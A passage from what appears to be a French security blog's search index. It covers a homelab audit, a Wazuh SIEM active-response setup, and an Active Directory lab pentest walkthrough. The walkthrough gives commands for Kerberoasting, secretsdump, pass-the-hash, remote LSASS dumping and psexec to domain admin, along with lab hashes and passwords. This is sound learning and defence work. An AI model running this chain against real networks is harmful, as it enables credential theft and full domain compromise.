actif, mais elles polluaient la config et rendaient la lecture plus difficile.\nJ\u0026rsquo;avais aussi laissé une règle temporaire ouverte : [TEMP] Greenbone scanner qui autorisait la VM scanner à atteindre n\u0026rsquo;importe quelle RFC1918. Nécessaire pendant le scan, mais à supprimer immédiatement après. Ce genre de règle temporaire qui dure est une source classique de surface d\u0026rsquo;attaque non voulue.\nLe port 9100 (Node Exporter) de pfSense lui-même était accessible depuis le VLAN de management sans restriction. J\u0026rsquo;ai ajouté une règle de blocage spécifique pour isoler l\u0026rsquo;accès à Prometheus uniquement.\nCe que j\u0026rsquo;en retiens Ce que ça m\u0026rsquo;a surtout appris, c\u0026rsquo;est que j\u0026rsquo;avais une assez bonne impression de mon infra sans en avoir vraiment vérifié le détail. Pas une mauvaise impression, elle est réellement correcte. Mais j\u0026rsquo;avais laissé des trucs en plan depuis longtemps : telnet sur le MikroTik, des règles pfSense pointant vers des alias disparus, des packages Proxmox pas mis à jour. Rien de catastrophique, rien de complexe. Des choses qu\u0026rsquo;on ne regarde pas quand on a la tête ailleurs.\nSur la méthode : ce qui prend du temps, c\u0026rsquo;est de s\u0026rsquo;astreindre à ne rien corriger pendant la phase de découverte. La discipline de documenter avant de toucher, et de traiter les exceptions honnêtement plutôt que de faire semblant qu\u0026rsquo;elles n\u0026rsquo;existent pas.\n\u0026ldquo;Installé\u0026rdquo; et \u0026ldquo;durci\u0026rdquo; ne sont pas le même état. Je savais ça. Maintenant je l\u0026rsquo;ai vu ligne par ligne.\nLes 19 règles auditd chargées en mémoire noyau après correction du fichier 99-cis.rules\nLa suite Il reste des choses à faire. Les deux autres nœuds Proxmox (MINIFORUM et TOPTON) n\u0026rsquo;étaient pas allumés pendant l\u0026rsquo;audit : le SSH hardening et auditd sont à appliquer sur les deux quand ils redémarrent. La communauté SNMP \u0026ldquo;public\u0026rdquo; sur le MikroTik, le NAS et pfSense reste en l\u0026rsquo;état pour l\u0026rsquo;instant : ça sera traité lors d\u0026rsquo;une refonte du monitoring SNMP. Et un certificat valide sur le WebFig MikroTik reste à configurer.\nLes scripts et configurations de cet audit sont disponibles dans le repo GitHub du projet homelab, dans le dossier audit-securite/.\nConfigs et scripts sur GitHub.\n","permalink":"https://appercel-clement.netlify.app/posts/audit-securite-homelab-post-vlan/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCe que je décris ici correspond à ma propre démarche sur mon infrastructure personnelle. Il peut y avoir des erreurs ou des approximations : j\u0026rsquo;apprends, et c\u0026rsquo;est précisément pour ça que je fais ce genre d\u0026rsquo;audit. Ne prenez pas ça comme une référence absolue, mais comme un retour d\u0026rsquo;expérience honnête.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"pourquoi-auditer-ce-quon-vient-de-construire\"\u003ePourquoi auditer ce qu\u0026rsquo;on vient de construire\u003c/h2\u003e\n\u003cp\u003eJ\u0026rsquo;avais passé plusieurs semaines à segmenter mon réseau en 5 VLANs, configurer pfSense, brancher Wazuh, mettre en place du monitoring. Sur le papier, l\u0026rsquo;architecture était propre. Mais j\u0026rsquo;avais une question qui traînait : est-ce que tout ça tient vraiment, ou est-ce que je me raconte des histoires ?\u003c/p\u003e","title":"Audit sécurité de mon homelab : ce que j'ai trouvé après la segmentation VLAN"},{"content":"Pentest d\u0026rsquo;un lab Active Directory : de test:test à Domain Admin J\u0026rsquo;ai passé plusieurs de jours à monter un lab Active Directory vulnérable sur mon Proxmox, puis à le pentester de A à Z. Les techniques utilisées ici sont toutes classiques et très bien documentées. Ce qui m\u0026rsquo;intéressait, c\u0026rsquo;était d\u0026rsquo;enchaîner la chaîne d\u0026rsquo;attaque complète du début à la fin, du scan initial jusqu\u0026rsquo;au shell SYSTEM sur le DC, en me forçant à comprendre chaque étape plutôt que de courir après une flag.\nCe post raconte le déroulé complet. Les commandes sont dans l\u0026rsquo;article quand elles ont compté ; le script de déploiement du lab et les notes brutes sont sur GitHub.\nPourquoi ce projet Dans le cadre de ma reconversion vers la cyber, j\u0026rsquo;alterne entre des modules théoriques (AD, Kerberos, NTLM) et de la pratique sur des plateformes type HTB ou TryHackMe. Le problème des plateformes, c\u0026rsquo;est qu\u0026rsquo;on finit vite par reconnaître les patterns et à chercher la flag plutôt qu\u0026rsquo;à comprendre le pourquoi. Je voulais un environnement que je contrôle du début à la fin, où je sais exactement quelles vulnérabilités sont en place parce que c\u0026rsquo;est moi qui les ai mises.\nL\u0026rsquo;objectif : trois machines Windows, un domaine AD, un scénario gray-box (je dispose d\u0026rsquo;un accès réseau, je simule un attaquant interne après phishing ou compromission d\u0026rsquo;un poste). Je me donne un livrable à rendre comme si c\u0026rsquo;était une vraie mission : rapport de pentest détaillé, plan d\u0026rsquo;action priorisé, restitution.\nLe lab Trois VMs Windows Server 2022, déployées sur un des trois Proxmox du homelab, dans un VLAN isolé pour éviter toute fuite sur le reste du réseau.\nMachine IP Rôle OS DC01 10.10.11.10 Contrôleur de domaine Windows Server 2022 FS01 10.10.11.20 Serveur de fichiers Windows Server 2022 WS01 10.10.11.30 Poste de travail Windows Server 2022 Domaine : corp.lab. La machine d\u0026rsquo;attaque est une Kali dans le même sous-réseau.\nLes vulnérabilités sont volontairement représentatives de ce qu\u0026rsquo;on trouve en entreprise après dix ans de dérive : mots de passe faibles, credentials traînant dans des scripts ou des attributs LDAP, pas de LAPS, pas de tiering, LSASS non protégé. Rien d\u0026rsquo;exotique. Ce sont des défaillances qu\u0026rsquo;on retrouve partout, même dans des infras récentes.\nPhase 1 — Reconnaissance Un scan de découverte pour vérifier la topologie :\n1 nmap -sn 10.10.11.0/24 Quatre hôtes remontent la gateway et les trois cibles. Scan complet ensuite :\n1 nmap -sV -sC -p- 10.10.11.10 10.10.11.20 10.10.11.30 Les scripts NSE font déjà un gros travail. Le certificat SSL RDP du DC trahit le FQDN (DC01.corp.lab), le script rdp-ntlm-info confirme le domaine, et smb2-security-mode sort une info qui va devenir importante plus tard : le SMB signing est bien forcé sur le DC, mais il est seulement activé (et pas exigé) sur FS01 et WS01. À retenir, ça rouvre une porte SMB Relay pour plus tard si le reste cale.\nÉnumération Kerberos sans authentification sur le port 88 :\n1 2 3 nmap -p 88 --script krb5-enum-users \\ --script-args krb5-enum-users.realm=\u0026#39;corp.lab\u0026#39;,userdb=/tmp/users.txt \\ 10.10.11.10 Trois comptes valides remontent : test, administrator, backup. Le DC accepte l\u0026rsquo;énumération Kerberos anonyme. Pas idéal pour un DC en production.\nDernière tentative à l\u0026rsquo;aveugle, le dump LDAP anonyme :\n1 ldapdomaindump 10.10.11.10 -o dump_anonymous/ Le bind s\u0026rsquo;ouvre, mais les fichiers générés sont vides. L\u0026rsquo;AD refuse l\u0026rsquo;énumération anonyme. Tant pis.\nPhase 2 — Premier accès : user-as-pass Classique mais ça marche toujours. Le compte test identifié via Kerberos, on tente test:test :\n1 crackmapexec smb 10.10.11.10 -u \u0026#39;test\u0026#39; -p \u0026#39;test\u0026#39; -d corp.lab Succès. Pas d\u0026rsquo;admin local, mais un compte de domaine standard suffit pour la phase suivante. C\u0026rsquo;est cette vulnérabilité, un mot de passe identique au login, qui ouvre toute la chaîne. Sans elle, il aurait fallu passer par du SMB Relay (possible vu V01), du password spraying, ou autre chose.\nPhase 3 — Reconnaissance authentifiée Avec un compte valide, tout change. Dump LDAP complet :\n1 ldapdomaindump -u \u0026#39;corp.lab\\test\u0026#39; -p \u0026#39;test\u0026#39; 10.10.11.10 -o dump_auth/ 39 utilisateurs, les groupes, la politique de mot de passe. Deux observations immédiates :\nLe champ description du compte helpdesk01 contient en clair : Compte temporaire - Mot de passe 'Helpdesk2026!'. Je teste, ça répond partout. Tous les comptes du domaine ont le flag DONT_EXPIRE_PASSWD. Combiné à l\u0026rsquo;absence de politique de verrouillage, c\u0026rsquo;est un terrain parfait pour du brute-force ou du spraying tranquille. Les comptes à privilèges identifiés :\nCompte Groupes Observation dadmin1 Domain Admins, Special Projects Cible finale dadmin2 Domain Admins, Special Projects Cible finale Administrator Domain Admins, Enterprise Admins Compte builtin helpdesk01 IT Support MDP en clair dans description LDAP svc_sql Research Team, IT Support SPN configuré (Kerberoastable) svc_app Research Team SPN configuré (Kerberoastable) deploy_svc Ops Team, IT Support Credentials trouvées ensuite Kerberoasting Les comptes avec SPN se demandent un TGS sans privilège particulier. On les récupère pour cracker offline :\n1 2 impacket-GetUserSPNs corp.lab/test:test -dc-ip 10.10.11.10 \\ -request -outputfile ~/kerberoast.hashes Trois comptes remontent : svc_sql, svc_iis, svc_app. Cracking avec hashcat en mode 13100 (Kerberos 5 TGS-REP) sur rockyou :\n1 hashcat -m 13100 ~/kerberoast.hashes /usr/share/wordlists/rockyou.txt Deux cassent en quelques secondes :\nsvc_sql : azertyuiop svc_iis : P4ssw0rd Le troisième (svc_app) résiste. Mot de passe long, 25+ caractères sans doute. Quand la policy est appliquée, Kerberoasting ne donne rien.\nExploration des partages Même compte test, on liste les partages accessibles en lecture :\n1 2 crackmapexec smb 10.10.11.10 10.10.11.20 10.10.11.30 \\ -u \u0026#39;test\u0026#39; -p \u0026#39;test\u0026#39; -d corp.lab --shares Un partage Configuration sur FS01 en lecture pour tous. Je le télécharge :\n1 2 smbclient \u0026#39;//10.10.11.20/Configuration\u0026#39; -U \u0026#39;corp.lab\\test%test\u0026#39; \\ -c \u0026#39;recurse ON; prompt OFF; mget *\u0026#39; Dans Windows/Safety/Shell/Remote/Scripts/admin.ps1, un gros classique :\n1 2 $SecurePassword = ConvertTo-SecureString \u0026#39;Depl0yP4ssw0rd\u0026#39; -AsPlainText -Force Connect-vROServer -Server FS01.corp.lab -Username deploy_svc -Password $SecurePassword Credentials hardcodés du compte deploy_svc. Quatre comptes en poche maintenant : test, helpdesk01, svc_sql, svc_iis, plus deploy_svc. Aucun n\u0026rsquo;est Domain Admin, mais l\u0026rsquo;un d\u0026rsquo;eux va servir de pivot.\nPhase 4 — Mouvement latéral On teste deploy_svc sur les trois machines :\n1 2 crackmapexec smb 10.10.11.10 10.10.11.20 10.10.11.30 \\ -u \u0026#39;deploy_svc\u0026#39; -p \u0026#39;Depl0yP4ssw0rd\u0026#39; -d corp.lab Mention (Pwn3d!) uniquement sur WS01 deploy_svc est administrateur local sur le poste de travail. Pas sur FS01, pas sur DC01. Il faut pivoter.\nSecretsdump sur WS01 Étant admin local, on dump SAM, LSA Secrets et sessions cachées :\n1 impacket-secretsdump corp.lab/deploy_svc:\u0026#39;Depl0yP4ssw0rd\u0026#39;@10.10.11.30 Trois éléments intéressants ressortent :\nLe hash NTLM du compte Administrator local de WS01. Une session mise en cache d\u0026rsquo;un compte helpdesk01 (DCC2, pas directement réutilisable). Un DefaultPassword dans LSA Secrets : vagrant:vagrant vestige du déploiement de la VM via Vagrant, qui aurait dû être nettoyé avant mise en production dans un vrai contexte. Pass-the-Hash vers FS01 Le pari classique : est-ce que l\u0026rsquo;admin local a le même mot de passe partout ? Si LAPS n\u0026rsquo;est pas déployé, souvent oui. On teste :\n1 2 crackmapexec smb 10.10.11.20 -u \u0026#39;Administrator\u0026#39; \\ -H \u0026#39;d44b8cdb2eedffce8a3fbc78e081e274\u0026#39; --local-auth (Pwn3d!) sur FS01. L\u0026rsquo;hash de l\u0026rsquo;admin local est bien identique sur WS01 et FS01. Je suis maintenant admin local sur le serveur de fichiers, qui est un serveur membre du domaine.\nDump LSASS sur FS01 credentials DA La cerise : lsassy permet de dumper LSASS à distance quand on est admin local.\n1 2 lsassy -u \u0026#39;Administrator\u0026#39; \\ -H \u0026#39;d44b8cdb2eedffce8a3fbc78e081e274\u0026#39; 10.10.11.20 Et là, jackpot. Les deux comptes dadmin1 et dadmin2 (Domain Admins) ont des sessions actives sur FS01. Leurs credentials sont en mémoire dans LSASS ,j\u0026rsquo;en sors le hash NTLM de dadmin1 et plusieurs tickets TGT Kerberos de dadmin2.\nCe point-là, c\u0026rsquo;est la faute de config qui tue : un Domain Admin qui se connecte sur un serveur membre pour y dépanner un truc laisse ses secrets en mémoire pour quiconque devient admin local sur cette machine. C\u0026rsquo;est pour ça que le modèle de tiering Microsoft (Tier 0 / 1 / 2) existe. Et c\u0026rsquo;est rare de le voir correctement appliqué hors des grosses boîtes avec une équipe IAM dédiée.\nPhase 5 — Compromission du DC Avec le hash NTLM de dadmin1, Pass-the-Hash direct sur le DC via psexec :\n1 2 3 impacket-psexec -hashes \\ \u0026#39;aad3b435b51404eeaad3b435b51404ee:9711d1bfec32305923da4df38bccb3b6\u0026#39; \\ corp.lab/dadmin1@10.10.11.10 Shell système sur le contrôleur de domaine :\n1 2 3 4 5 C:\\Windows\\system32\u0026gt; whoami nt authority\\system C:\\Windows\\system32\u0026gt; net group \u0026#34;Domain Admins\u0026#34; /domain Members: Administrator dadmin1 dadmin2 Pour le rapport, création et suppression d\u0026rsquo;un compte d\u0026rsquo;audit ajouté aux Domain Admins :\n1 2 3 net user audit_pentest AuditP@ss2026! /add /domain net group \u0026#34;Domain Admins\u0026#34; audit_pentest /add /domain net user audit_pentest /del /domain Domaine entièrement compromis. La chaîne complète :\ntest:test → accès domaine authentifié → ldapdump → helpdesk01 / Kerberoasting → svc_sql cracké → partage Configuration → deploy_svc → admin local WS01 → secretsdump → hash admin local → Pass-the-Hash → admin local FS01 → lsassy FS01 → hash dadmin1 (DA) → psexec DC01 → NT AUTHORITY\\SYSTEM Cinq phases. Zéro exploit 0-day, que des erreurs de configuration très courantes.\nCe qui m\u0026rsquo;a bloqué Quelques points où j\u0026rsquo;ai perdu du temps inutilement :\nLe hashcat qui ne sortait rien la première fois, parce que j\u0026rsquo;avais oublié que rockyou.txt était gzip sur cette install de Kali et qu\u0026rsquo;il fallait le gunzip avant. Trente minutes à regarder passer des hashes sans comprendre pourquoi ça ne tombait pas. Classique.\nlsassy qui retournait une erreur d\u0026rsquo;authentification Kerberos alors que les credentials étaient bonnes. Il fallait ajouter le FQDN et pas l\u0026rsquo;IP pour que la négociation Kerberos passe proprement. Utiliser l\u0026rsquo;IP fonctionne sur certains outils impacket mais pas sur lsassy selon les modes.\nLe psexec sur le DC qui bloquait sans erreur claire. En fait j\u0026rsquo;avais oublié le -hashes à la première tentative, il demandait un mot de passe que je n\u0026rsquo;avais pas. J\u0026rsquo;aurais pu m\u0026rsquo;en rendre compte plus vite mais sans message d\u0026rsquo;erreur explicite, j\u0026rsquo;ai cherché ailleurs pendant un moment.\nCe que j\u0026rsquo;en retiens Monter le lab soi-même, c\u0026rsquo;est différent d\u0026rsquo;une box toute faite. J\u0026rsquo;ai compris à quel point des petites défaillances de config s\u0026rsquo;enchaînent pour donner un domaine entier. Aucune des onze vulnérabilités identifiées n\u0026rsquo;est critique prise isolément (à part peut-être le test:test), mais mises bout à bout elles forment une kill chain propre.\nL\u0026rsquo;autre chose, c\u0026rsquo;est la partie livrables. J\u0026rsquo;ai rédigé le rapport, un plan d\u0026rsquo;action et une présentation de soutenance. C\u0026rsquo;est là que j\u0026rsquo;ai le plus buté : comment on explique à quelqu\u0026rsquo;un de non-technique que neuf commandes et deux erreurs de config donnent accès à l\u0026rsquo;intégralité d\u0026rsquo;un domaine ? C\u0026rsquo;est un exercice que je n\u0026rsquo;avais pas anticipé, et honnêtement plus difficile que la partie technique.\nCorriger n\u0026rsquo;importe laquelle des vulnérabilités critiques de la chaîne aurait stoppé ou sérieusement ralenti l\u0026rsquo;attaque. Déployer LAPS, appliquer une vraie policy de mot de passe, nettoyer les partages, activer Credential Guard, faire du tiering. Rien de sorcier. Juste du travail d\u0026rsquo;hygiène qu\u0026rsquo;on repousse à plus tard parce qu\u0026rsquo;il n\u0026rsquo;y a jamais d\u0026rsquo;incident pour forcer la main.\nProchaine étape : refaire le même lab en appliquant les remédiations une par une, pour voir exactement à quelle étape la chaîne se coupe.\nLe lien vers le repo Github GitHub.\n","permalink":"https://appercel-clement.netlify.app/posts/article-hugo-pentest-lab-ad/","summary":"\u003ch1 id=\"pentest-dun-lab-active-directory--de-testtest-à-domain-admin\"\u003ePentest d\u0026rsquo;un lab Active Directory : de test:test à Domain Admin\u003c/h1\u003e\n\u003cp\u003eJ\u0026rsquo;ai passé plusieurs de jours à monter un lab Active Directory vulnérable sur mon Proxmox, puis à le pentester de A à Z. Les techniques utilisées ici sont toutes classiques et très bien documentées. Ce qui m\u0026rsquo;intéressait, c\u0026rsquo;était d\u0026rsquo;enchaîner la chaîne d\u0026rsquo;attaque complète du début à la fin, du scan initial jusqu\u0026rsquo;au shell SYSTEM sur le DC, en me forçant à comprendre chaque étape plutôt que de courir après une flag.\u003c/p\u003e","title":"Pentest d'un lab Active Directory : de test:test à Domain Admin"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nWazuh SIEM, suite : MITRE ATT\u0026amp;CK, détection de vulnérabilités et blocage automatique via pfSense Le premier article sur ce projet s\u0026rsquo;arrêtait sur un SIEM fonctionnel : des décodeurs custom pour pfSense et Synology, 18 règles qui matchaient, un dashboard qui commençait à avoir l\u0026rsquo;air d\u0026rsquo;un vrai dashboard. Mais le tout restait passif. Une IP essaie de bruteforcer le NAS cent fois, Wazuh lève une alerte level 12, et\u0026hellip; rien ne se passe. L\u0026rsquo;alerte est là, elle attend qu\u0026rsquo;un humain la regarde.\nCe post couvre ce qui s\u0026rsquo;est passé ensuite : le mapping MITRE ATT\u0026amp;CK sur les règles custom, la détection de vulnérabilités (qui ne fonctionnait pas pour des raisons pas évidentes), et l\u0026rsquo;Active Response, c\u0026rsquo;est-à-dire le blocage automatique d\u0026rsquo;IPs hostiles directement sur pfSense.\nLes configs sont sur GitHub.\nVue d\u0026rsquo;ensemble du projet : mapping MITRE ATT\u0026amp;CK, fix Vulnerability Detection, et chaîne Active Response complète vers pfSense.\nCartographier les règles sur MITRE ATT\u0026amp;CK MITRE ATT\u0026amp;CK est une base de données publique de tactiques et techniques d\u0026rsquo;attaque. Chaque technique a un identifiant : T1110 pour le Brute Force, T1046 pour le Network Service Scanning, et ainsi de suite. Mapper ses règles SIEM sur ce référentiel leur donne un contexte dans un langage commun à toute la communauté cyber.\nConcrètement dans Wazuh, ça se passe dans local_rules.xml avec des balises \u0026lt;mitre\u0026gt; :\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;rule id=\u0026#34;100023\u0026#34; level=\u0026#34;10\u0026#34;\u0026gt; \u0026lt;if_matched_sid\u0026gt;100022\u0026lt;/if_matched_sid\u0026gt; \u0026lt;same_source_ip /\u0026gt; \u0026lt;timeframe\u0026gt;120\u0026lt;/timeframe\u0026gt; \u0026lt;frequency\u0026gt;5\u0026lt;/frequency\u0026gt; \u0026lt;description\u0026gt;pfSense Suricata brute force SSH détecté (5+ échecs en 2 min)\u0026lt;/description\u0026gt; \u0026lt;mitre\u0026gt; \u0026lt;id\u0026gt;T1110.001\u0026lt;/id\u0026gt; \u0026lt;/mitre\u0026gt; \u0026lt;group\u0026gt;authentication_failures,brute_force\u0026lt;/group\u0026gt; \u0026lt;/rule\u0026gt; La plupart des attributions sont assez directes. T1110 (Brute Force) pour les tentatives d\u0026rsquo;authentification ratées sur le NAS, T1087 (Account Discovery) pour les tentatives sur des comptes différents, T1071 (Application Layer Protocol) pour les alertes Suricata sur des communications C2.\nQuelques-unes sont moins évidentes. La règle 100032, qui détecte un conflit de bail DHCP (deux machines déclarant la même IP), est tagguée T1557 (Adversary-in-the-Middle). Ça peut sembler exagéré pour un conflit DHCP banal. Mais un conflit DHCP délibéré est précisément une des techniques utilisées pour intercepter le trafic réseau : une machine malveillante répond avant le serveur DHCP légitime et distribue une configuration qu\u0026rsquo;elle contrôle. L\u0026rsquo;exercice de mapping oblige à se poser ce genre de question, ce qui n\u0026rsquo;est pas inutile.\nRésultat : 12 règles sur 19 tagguées, 5 tactiques couvertes (Initial Access, Credential Access, Discovery, Lateral Movement, Command and Control). Les 7 sans tag sont les règles parents et les règles de base qui n\u0026rsquo;ont pas de sémantique d\u0026rsquo;attaque propre.\nLes règles custom avec leurs tags MITRE ATT\u0026amp;CK dans le dashboard Wazuh.\nVulnerability Detection : le problème avec deux pipelines Wazuh embarque un module de détection de vulnérabilités. Il analyse les packages installés sur les agents et les compare à des bases CVE. Sur le papier, on active l\u0026rsquo;agent sur une machine, on attend quelques minutes, les vulnérabilités apparaissent dans le dashboard.\nEn pratique, l\u0026rsquo;onglet \u0026ldquo;Vulnerabilities\u0026rdquo; restait vide sur ma VM Wazuh, alors que l\u0026rsquo;agent Proxmox était bien déclaré et remontait des données. J\u0026rsquo;ai cherché dans les mauvais endroits pendant un moment.\nLe point clé que j\u0026rsquo;avais mal compris : Wazuh utilise deux pipelines de données distincts vers OpenSearch.\nFilebeat gère les alertes temps réel vers l\u0026rsquo;index wazuh-alerts-*. C\u0026rsquo;est ce qui peuple le dashboard principal. indexer-connector est un module séparé qui alimente des index d\u0026rsquo;état, dont wazuh-states-vulnerabilities. C\u0026rsquo;est lui qui peuple l\u0026rsquo;onglet Vulnerabilities. Ces deux pipelines ont chacun leur configuration et leur authentification indépendantes. Le fait que Filebeat fonctionne ne dit rien sur l\u0026rsquo;état d\u0026rsquo;indexer-connector.\nPremier problème : dans ossec.conf, le bloc \u0026lt;indexer\u0026gt; contenait https://0.0.0.0:9200 comme adresse. Quand on configure un serveur pour écouter sur 0.0.0.0, ça veut dire \u0026ldquo;toutes les interfaces\u0026rdquo;. Mais quand un client se connecte à 0.0.0.0, le comportement dépend de l\u0026rsquo;OS et de la résolution. OpenSearch écoutait bien sur 192.168.30.100:9200, le module essayait de s\u0026rsquo;y connecter via 0.0.0.0, et ça échouait silencieusement. Pas d\u0026rsquo;erreur explicite dans les logs, juste\u0026hellip; rien.\nSecond problème : indexer-connector nécessite que les credentials OpenSearch soient stockés dans le wazuh-keystore. Ce keystore est indépendant de celui de Filebeat. Je n\u0026rsquo;y avais jamais touché.\n1 2 3 /var/ossec/bin/wazuh-keystore -f indexer -k username -v admin # le mot de passe via pipe pour ne pas qu\u0026#39;il apparaisse dans history echo \u0026#34;monmotdepasse\u0026#34; | /var/ossec/bin/wazuh-keystore -f indexer -k password Après correction de l\u0026rsquo;IP et injection des credentials : 14 index wazuh-states-* peuplés, dont wazuh-states-vulnerabilities avec 169 CVE détectées sur le noeud Proxmox. 17 Critical, 57 High, principalement libssl3 et openssl. Un apt upgrade plus tard, une partie était résolue.\n169 CVE détectées sur le nœud Proxmox une fois indexer-connector correctement configuré.\nActive Response : pfSense CE sans sudo ni API C\u0026rsquo;est la partie qui a pris le plus de temps, et celle que je trouve la plus intéressante.\nL\u0026rsquo;idée de l\u0026rsquo;Active Response dans Wazuh est simple : quand une règle dépasse un certain level, au lieu de juste logguer l\u0026rsquo;alerte, le Manager exécute un script. Ce script peut bloquer une IP, couper une connexion, envoyer une notification. La brique SOAR de base, donc.\nPour bloquer une IP sur pfSense, le mécanisme le plus propre serait une API REST. pfSense propose ça\u0026hellip; dans pfSense Plus, la version commerciale. Sur pfSense CE, pas d\u0026rsquo;API. La seule option est SSH + pfctl, l\u0026rsquo;outil de gestion du firewall packet filter FreeBSD.\nPremière contrainte : pfSense CE n\u0026rsquo;a ni sudo ni doas. La commande pfctl exige les droits root. On ne peut pas créer un utilisateur dédié et lui donner accès à pfctl proprement. Il faut se connecter directement en root.\nPour compenser l\u0026rsquo;accès root, la sécurité repose entièrement sur les options de la clé SSH dans /root/.ssh/authorized_keys :\ncommand=\u0026#34;/usr/local/bin/wazuh_pfctl.sh\u0026#34;,from=\u0026#34;192.168.30.100\u0026#34;,restrict ssh-ed25519 AAAA... Trois restrictions s\u0026rsquo;empilent : from= limite la connexion à l\u0026rsquo;IP du Manager Wazuh (aucune autre machine ne peut utiliser cette clé), command= remplace le shell par un unique wrapper script (pas de shell interactif possible), restrict bloque le port forwarding, le PTY, et tout le reste. Le wrapper filtre ensuite les commandes pfctl autorisées.\nEst-ce que c\u0026rsquo;est parfait ? Je ne suis pas convaincu que ce soit la solution la plus élégante. Mais avec les contraintes de pfSense CE, c\u0026rsquo;est pragmatique et les trois couches de protection se complètent.\nDeuxième contrainte, inattendue : le shell par défaut de pfSense/FreeBSD est tcsh. Et tcsh interprète le caractère ! même dans les quotes simples, y compris dans les arguments de commandes. Résultat : impossible d\u0026rsquo;utiliser echo, printf, ni vi pour créer le wrapper script sur pfSense. Tout ce qui contenait #!/bin/sh déclenchait une erreur \u0026ldquo;Event not found\u0026rdquo;.\nLa solution : ee, le \u0026ldquo;Easy Editor\u0026rdquo; de FreeBSD. Un éditeur de texte natif qui contourne complètement le problème puisqu\u0026rsquo;il n\u0026rsquo;utilise pas le shell pour saisir le texte.\nTroisième contrainte : pfSense écoute le SSH sur un port non standard, pas le 22 par défaut. J\u0026rsquo;ai perdu du temps à déboguer des connexions qui échouaient avant de réaliser que mes commandes de test ne spécifiaient pas le bon port.\nQuatrième chose à ne pas oublier : une règle firewall entre le VLAN LAB (où tourne Wazuh, 192.168.30.x) et le VLAN MGMT (où se trouve pfSense, 192.168.20.x). Par défaut, les VLANs sont isolés. Le Manager Wazuh ne pouvait pas atteindre pfSense en SSH avant que j\u0026rsquo;ajoute une règle Pass TCP spécifique dans pfSense pour cette source et cette destination.\nUne fois tout ça en place, la validation est satisfaisante :\n1 2 3 4 5 # Dans un terminal : surveiller le log Active Response tail -f /var/ossec/logs/active-responses.log # Dans un autre : déclencher une règle manuellement pour tester # (les logs \u0026#34;BLOQUÉE\u0026#34; et \u0026#34;DÉBLOQUÉE\u0026#34; apparaissent en temps réel) Puis vérifier côté pfSense que la table est bien peuplée :\n1 2 3 ssh -i /var/ossec/active-response/bin/.ssh/wazuh_ar_key \\ -p \u0026lt;PORT_SSH\u0026gt; root@\u0026lt;IP_PFSENSE\u0026gt; \\ \u0026#34;pfctl -t wazuh_blocked -T show\u0026#34; Le blocage s\u0026rsquo;applique immédiatement sur le WAN. La durée est fixée à 600 secondes dans ossec.conf, après quoi Wazuh relance le script avec l\u0026rsquo;action DELETE pour débloquer automatiquement.\nQuatre règles déclenchent l\u0026rsquo;Active Response : le brute force Synology (100023), l\u0026rsquo;énumération d\u0026rsquo;utilisateurs Synology (100024), les alertes Suricata Priority 1 (100041), et les alertes \u0026ldquo;hôte compromis connu\u0026rdquo; Suricata (100043).\nLa suite Ce qui reste sur ce projet (en fonction de si j\u0026rsquo;ai le temps) :\nDécodeur nginx pfSense (accès WebUI admin) : contourner le conflit avec le décodeur built-in web-accesslog Alerting actif (email ou Telegram) sur les règles level \u0026gt;= 10 Dashboard Grafana Wazuh avec les métriques qui comptent FIM (File Integrity Monitoring) sur les répertoires sensibles des VMs LAB Ce que j\u0026rsquo;en retiens Le mapping MITRE m\u0026rsquo;a plus appris que je ne l\u0026rsquo;attendais. Ce n\u0026rsquo;est pas un exercice de case-à-cocher, c\u0026rsquo;est une façon de vérifier que tu comprends ce que ta règle détecte vraiment. La règle qui lève une alerte sur un conflit DHCP, je l\u0026rsquo;avais écrite pour avoir de la visibilité sur les conflits d\u0026rsquo;adresses dans mon lab. En cherchant la bonne technique MITRE, j\u0026rsquo;ai compris que ce comportement peut aussi être le signe d\u0026rsquo;une attaque active, ce qui change la façon dont on doit la traiter.\nPour Vulnerability Detection, la leçon c\u0026rsquo;est qu\u0026rsquo;il ne faut pas supposer qu\u0026rsquo;une installation fonctionne parce qu\u0026rsquo;une partie d\u0026rsquo;elle fonctionne. Deux pipelines indépendants avec deux keystores séparés, et le fait que l\u0026rsquo;un marche ne dit rien sur l\u0026rsquo;autre. C\u0026rsquo;est le genre de chose qui n\u0026rsquo;est pas évident à déduire de la documentation, mais qui devient réflexe après avoir passé du temps à déboguer.\nL\u0026rsquo;Active Response est ce qui transforme le SIEM en quelque chose d\u0026rsquo;actif. Wazuh ne fait plus que regarder et logguer, il réagit. La chaîne complète, Manager Wazuh → SSH → pfSense → pfctl → règle WAN, a des points de fragilité que j\u0026rsquo;ai tous rencontrés un par un. tcsh et ses expansions surprenantes, les permissions SSH, les VLANs isolés, le port non standard. C\u0026rsquo;est exactement le genre de projet où la liste de prérequis dans la doc en ligne et la réalité de l\u0026rsquo;environnement divergent assez vite.\nDans un contexte SOC ou SOAR en entreprise, ce type d\u0026rsquo;automatisation de blocage est courant, mais mieux encadré : API disponible, séparation des droits plus fine, validation humaine avant blocage dans certains cas. Mon implémentation homelab en est une version simplifiée. Mais les mécanismes autour de la clé SSH restreinte sont proches de ce qu\u0026rsquo;on trouverait dans un vrai déploiement. Ce que je retiens surtout : comprendre pourquoi on empile trois couches de restriction sur une connexion root, pas juste copier la commande.\nLes scripts et configs sont disponibles sur GitHub.\n","permalink":"https://appercel-clement.netlify.app/posts/wazuh-siem-active-response-mitre-vuln-detection/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"wazuh-siem-suite--mitre-attck-détection-de-vulnérabilités-et-blocage-automatique-via-pfsense\"\u003eWazuh SIEM, suite : MITRE ATT\u0026amp;CK, détection de vulnérabilités et blocage automatique via 